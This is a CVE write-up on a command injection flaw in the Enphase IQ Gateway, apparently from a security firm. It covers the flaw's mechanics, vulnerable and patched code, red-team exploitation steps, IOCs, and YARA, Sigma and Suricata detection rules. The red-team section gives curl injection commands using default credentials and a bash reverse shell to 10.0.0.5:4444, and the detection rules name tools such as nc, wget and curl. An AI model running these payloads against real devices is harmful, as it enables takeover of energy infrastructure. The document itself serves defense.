CVE-2024-21879

Executive Summary

CVE-2024-21879 is a critical OS Command Injection vulnerability in the Enphase IQ Gateway (formerly Envoy), a widely deployed solar energy management device. The flaw resides in an authenticated endpoint where user-supplied input via a URL parameter is not properly neutralized before being passed to the operating system shell. An attacker with valid credentials can inject arbitrary OS commands, leading to full device compromise, data exfiltration, or use of the device as a pivot point within the energy grid network. The vulnerability affects all firmware versions from 4.x up to 8.x, with the fix included in version 8.2.4225. No public exploit code or proof-of-concept is currently available, but the technical risk is high due to the device's network position and the simplicity of command injection.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device. However, the supply chain risk is significant: compromised gateways could be used to disrupt solar energy production, steal grid credentials, or launch attacks against utility infrastructure. Organizations should verify the integrity of firmware updates and monitor for unauthorized access to management interfaces.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score or vector for this CVE. Based on the vulnerability type (OS Command Injection) and the device's role, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires valid credentials (authenticated endpoint).
• User Interaction (UI): None (N) – No user action needed beyond the attacker's request.
• Scope (S): Unchanged (U) – The vulnerable component is the gateway itself.
• Confidentiality (C): High (H) – Full file system access.
• Integrity (I): High (H) – Ability to modify system files and configurations.
• Availability (A): High (H) – Can crash or disable the device.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. The combination of network accessibility, low complexity, and high impact makes this a priority for patching.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection (CWE-78) in an authenticated endpoint of the Enphase IQ Gateway's web interface. The gateway runs a Linux-based embedded OS and exposes a management API. One or more URL parameters are passed unsanitized to a function that executes shell commands (e.g., via system(), popen(), or exec()).

Attack Flow:

1. Authentication: The attacker must first obtain valid credentials. This could be through default credentials, brute-force, phishing, or prior compromise.
2. Crafting the Payload: The attacker identifies the vulnerable parameter (e.g., ?cmd=, ?ip=, ?host=) and injects command separators like ;, |, &&, or backticks.
3. Injection: The request is sent to the gateway. The server-side code concatenates the user input into a shell command string without escaping.
4. Execution: The OS executes the injected command with the privileges of the web server (typically root or a privileged user).
5. Persistence: The attacker may install a reverse shell, modify startup scripts, or add SSH keys for persistent access.

Example vulnerable URL (hypothetical):

https://envoy-ip/admin/ping?host=8.8.8.8;id

If the server runs ping -c 4 8.8.8.8;id, the id command will also execute.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
from flask import request

@app.route('/admin/ping')
def ping():
    host = request.args.get('host')
    # VULNERABLE: Direct concatenation
    cmd = "ping -c 4 " + host
    output = subprocess.check_output(cmd, shell=True)
    return output

Patched Code (Conceptual):

import subprocess
from flask import request
import shlex

@app.route('/admin/ping')
def ping():
    host = request.args.get('host')
    # PATCHED: Use shlex.quote to escape shell metacharacters
    safe_host = shlex.quote(host)
    cmd = "ping -c 4 " + safe_host
    output = subprocess.check_output(cmd, shell=True)
    return output

The patched version uses shlex.quote() (or equivalent) to escape special characters, preventing command injection. Alternatively, the developer could avoid shell=True and use a list of arguments.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Enphase IQ Gateway (firmware < 8.2.4225) in a lab environment.
• Valid credentials (e.g., admin/admin or obtained via brute-force).
• Network access to the gateway's web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify the vulnerable endpoint. Use a web fuzzer (e.g., Burp Suite, ffuf) to discover parameters that might be passed to the shell. Common candidates: ping, traceroute, nslookup, diagnostic, test.

2. Test for injection. Send a request with a benign command:

   curl -k -u "admin:admin" "https://192.168.1.100/admin/ping?host=127.0.0.1;echo%20INJECTED"
   

   If the response contains "INJECTED", the parameter is vulnerable.

3. Execute a reverse shell. Use a command like:

   curl -k -u "admin:admin" "https://192.168.1.100/admin/ping?host=127.0.0.1;bash%20-i%20%3E%26%20/dev/tcp/10.0.0.5/4444%200%3E%261"
   

   (URL-encoded: bash -i >& /dev/tcp/10.0.0.5/4444 0>&1)

4. Establish persistence. Add an SSH key or modify /etc/init.d/ scripts.

Lab Setup:

• Use a virtualized Enphase gateway firmware (if available) or a real device in an isolated network.
• Attacker machine: Kali Linux with curl, netcat, and Metasploit.
• Listener: nc -lvnp 4444

Blue Team

Detection & Response:

1. Monitor for anomalous HTTP requests. Look for URL parameters containing shell metacharacters (;, |, &, `, $()).
2. Alert on command execution patterns. Use the Sigma rule below to detect injection attempts.
3. Check for outbound connections. A reverse shell will initiate a connection from the gateway to an external IP. Monitor firewall logs for unexpected outbound traffic on high ports.
4. Review authentication logs. Multiple failed login attempts may indicate credential brute-forcing.
5. Isolate the device. If compromise is suspected, disconnect the gateway from the network and factory reset it.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/ping or similar endpoints with parameters containing ;, |, &&, `, $().
  • Outbound connections from the gateway to unusual IP addresses on ports 4444, 1337, or other high ports.
  • DNS queries to suspicious domains (e.g., pastebin.com, attacker-controlled C2).

• Host IOCs:

  • Unexpected processes running as root (e.g., /bin/bash, /bin/sh with network connections).
  • New SSH keys in /root/.ssh/authorized_keys.
  • Modified system binaries or scripts in /etc/init.d/.
  • Presence of files like /tmp/.revshell or /dev/shm/exploit.

• Log IOCs:

  • Web server logs showing 200 responses to requests with shell metacharacters.
  • System logs (/var/log/messages) showing execution of ping or other commands with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2024_21879_Command_Injection {
    meta:
        description = "Detects command injection attempts against Enphase IQ Gateway"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-21879"
    strings:
        $cmd1 = /[;&|`$()]\s*(ping|traceroute|nslookup|echo|cat|bash|sh|nc|wget|curl)/i
        $cmd2 = /(system|exec|popen|shell_exec)\s*\(/i
        $url_param = /[\?&](host|ip|cmd|target|addr)=[^&]*[;&|`$()]/
    condition:
        any of ($cmd1, $cmd2, $url_param)
}

Sigma Rule

title: CVE-2024-21879 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with shell metacharacters in URL parameters targeting Enphase IQ Gateway
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21879
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
        cs-uri-query|contains:
            - 'ping'
            - 'traceroute'
            - 'nslookup'
            - 'echo'
            - 'bash'
            - 'sh'
    condition: selection
falsepositives:
    - Legitimate use of ping/traceroute with IP addresses (unlikely to contain shell metacharacters)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-21879 Enphase IQ Gateway Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/ping"; http_uri; pcre:"/(?:[;&|`$()].*(?:ping|traceroute|nslookup|echo|bash|sh|nc|wget|curl))/i"; reference:cve,2024-21879; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version 8.2.4225 or later. This is the only complete fix.
2. If upgrade is not possible, restrict network access to the gateway's web interface. Use a firewall to allow only trusted IP addresses.
3. Change default credentials immediately. Use strong, unique passwords.
4. Disable unused services (e.g., SSH, Telnet) on the gateway.

Long-Term Mitigations:

• Implement network segmentation: place the gateway in a separate VLAN with strict egress filtering.
• Deploy a Web Application Firewall (WAF) in front of the gateway to block command injection patterns.
• Enable logging and monitoring on the gateway and upstream network devices.
• Conduct regular vulnerability scans of all IoT devices in the energy infrastructure.

Vendor Communication:

• Enphase has released a patch. Contact their support for assistance if the upgrade process is unclear.

Valters IT